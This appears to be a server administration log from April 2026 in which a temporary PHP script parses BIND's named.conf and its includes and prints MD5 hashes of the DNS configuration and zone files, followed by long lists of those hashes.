MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:02:58: Establishing a connection
2026-04-24 16:02:58: 

PUT: /tmp/pkp457947

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:02:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp457947; rm /tmp/pkp457947'

2026-04-24 16:02:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
